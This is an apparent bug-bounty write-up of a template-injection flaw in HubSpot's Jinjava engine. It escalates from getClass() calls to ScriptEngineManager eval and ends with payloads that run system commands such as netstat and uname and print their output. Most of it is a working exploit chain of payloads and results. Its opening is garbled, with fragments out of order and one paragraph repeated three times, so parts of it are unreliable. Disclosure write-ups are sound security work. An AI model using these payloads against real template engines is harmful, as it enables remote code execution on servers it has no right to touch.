Anything between the {# #} will be commented out or ignored by the parser.

After trying most of the built in variable names, I stumbled upon an undocumented variable: "request" which returned an interesting string.

parameter in the POST request and its output was seen in

For all below examples, the payload was submitted in

Another interesting thing to note here is that the documentation says HubL is based on Jinja but as observed before, the output wasn't following normal Jinja pattern when evaluating the expressions.

will be replaced by Your Company's domain name. Users can also declare custom variables within statement {% %} blocks and these can be used within expression {{ }} blocks just like built-in variables.

which can be used within a module. The parser replaces these variables with their actual values at runtime.

etc which can be used within a module. The parser replaces these variables with their actual values at runtime. e.g.

There are some built in variables such as {{ account }}, {{ company_domain }}, {{ content }}

There are some built in variables such as {{ account }}, {{ company_domain }}, {{ content }} etc which can be used within a module. The parser replaces these variables with their actual values at runtime. e.g. {{ company_domain }} will be replaced by Your Company's domain name. Users can also declare custom variables within statement {% %} blocks and these can be used within expression {{ }} blocks just like built-in variables.

There are some built in variables such as {{ account }}, {{ company_domain }}, {{ content }} etc which can be used within a module. The parser replaces these variables with their actual values at runtime. e.g. {{ company_domain }} will be replaced by Your Company's domain name. Users can also declare custom variables within statement {% %} blocks and these can be used within expression {{ }} blocks just like built-in variables.

Output:

com.hubspot.content.hubl.context.TemplateContextRequest@23548206





Nice! This looks like the memory location of the 'request' object! And it also looked like Java from the naming convention. After some Google searches, I tried the following payloads to verify if its a Java based template engine:

Convert a string to upper case -

Payload:

{{'a'.toUpperCase()}}

Output:

A





Concatenate two characters -

Payload:

{{'a'.concat('b')}}

Output:

ab





Awesome! This looked very promising. The template engine not only parses its own syntax, it also allows us to call built-in methods.

The Vulnerability

Trying to get the class of a character -

Payload:

{{'a'.getClass()}}

Output:

java.lang.String

Excellent! Java is confirmed! The vulnerability here is that it was possible to call the getClass() method on any object.

At this point I was sure this could be exploited to something bigger.

But before shooting for the moon, I wanted to understand how expression language works so I started by gathering more information:





Get class of the request object -

Payload:

{{request.getClass()}}

Output:

class com.hubspot.content.hubl.context.TemplateContextRequest





Get declared methods of a class ( increment from 0 to any number to get all the methods)

-

Payload:

{{request.getClass().getDeclaredMethods()[0]}}

Output:

public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()





At this point, I searched for "

Looking at the class declaration in the source, I was also able to call methods from the request class -

Payload:

{{request.isDebug()}}

Output:

false





To take it a step further, I learnt that you can use the forName() and newInstance() methods to get an instance of a completely different class -





Using string 'a' to get an instance of class

sun.misc.Launcher -

Payload:

{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}

Output:

sun.misc.Launcher@715537d4





It is also possible to get a new object of the Jinjava class -

Payload:

{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}

Output:

com.hubspot.jinjava.JinjavaConfig@78a56797





It was also possible to call methods on the created object by combining the {% %} and {{ }} blocks -

Payload:

{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}

Here, I created a variable 'ji' with new instance of

com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method.

In the next block, I called the render method on 'ji' with expression {{1*2}}.

Output:

2

Jinjava Inception!





I now had enough understanding and was ready to get the coveted remote code execution. From what I'd read, that should be easy. Just create an object of java.lang.Runtime class and call the exec() method on it. So....

Payload:

{{'a'.getClass().forName('java.lang.Runtime').newInstance()}}

Output:

TemplateSyntaxException: java.lang.IllegalAccessException: Class javax.el.BeanELResolver can not access a member of class java.lang.Runtime with modifiers "private"





Bummer! Looks like Runtime is blocked. To make sure I am not missing anything, I tried getting the declared methods of the Runtime class with getDeclaredMethods call and it worked fine, meaning that calling the newInstance() method on java.lang.Runtime class was not allowed.

Knowing Java's history, I was pretty sure there will be another way.

Time to find an alternative.

First option:

java.lang.System

Payload:

{{'a'.getClass().forName('java.lang.System').newInstance()}}

Ouput:

TemplateSyntaxException: java.lang.IllegalAccessException: Class javax.el.BeanELResolver can not access a member of class java.lang.System with modifiers "private"

Arrggh... one more candidate lost.





After frantic searches and asking around, I found this gem of a blog which introduced to me to

javax.script.ScriptEngineManager.



Payload:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance()}}

Output:

javax.script.ScriptEngineManager@727c1a89





Amazing! So I got an object of ScriptEngineManager means RCE was on the horizon.

But before that, I had to get to know my new friend





Find out what type javascript engine this is

-

Payload:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript')}}

Output:

jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a





A bounty writeup without a meme is not fun!





Get the script context -

Payload:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').getContext()}}

Output:

jdk.nashorn.api.scripting.NashornScriptEngine@7f97607a





Get language name -

Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineFactories()[0].getLanguageName()}}

Output: ECMAScript





Get language version -

Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineFactories()[0].getLanguageVersion()}}

Output: ECMA - 262 Edition 5.1





Now go for the kill.





To get RCE using the ScriptEngineManager, you have to run the ever so useful "eval" method with some Java code thrown into it.

After a lot of trial and errors, I finally got eval to work.

Payload:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

Output:

xxx





I successfully evaluated dynamic java code using ScriptEngineManager instance!

Now I only need to substitute real code that will execute system commands and throw it into eval.





After another trial and error session, I finally had some success -

Payload:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

Output:

java.lang.UNIXProcess@1e5f456e





Woot! The output was a reference to a UNIXProcess object which means my command was successfully executed! I could have now ran a reverse shell command and obtained a shell but since I was able to see the output, I decided to push this a little more and get the command's output in response itself.

Another frantic search session resulted with the discovery of org.apache.commons.io.IOUtils . This class provides static utility methods for input/output operations.

My final payload was -

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}





Output:

See for yourselves!









It took me a few more tries to learn how to pass multiple arguments to the commands.

Notice the x.command function! -

Payload:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux







As you can imagine, it was quite a struggle but in the end I had a lot of fun and learnt a lot in the process. The Jinjava project was introduced by Hubspot back in 2014 , that means this bug had been around 4 years in nobody found it (hopefully). The Hubspot team was very receptive and fixed it very fast by disabling the "getClass" method on a variable. You can find the fix here

Bonus



A couple of days after fixing the vulnerability, Hubspot informed me that since " A couple of days after fixing the vulnerability, Hubspot informed me that since " Jinjava " - an open source project - is being used by many other companies apart from Hubspot, they have applied for a CVE and I will be credited in it for the discovery of this issue! Sweet!

Output: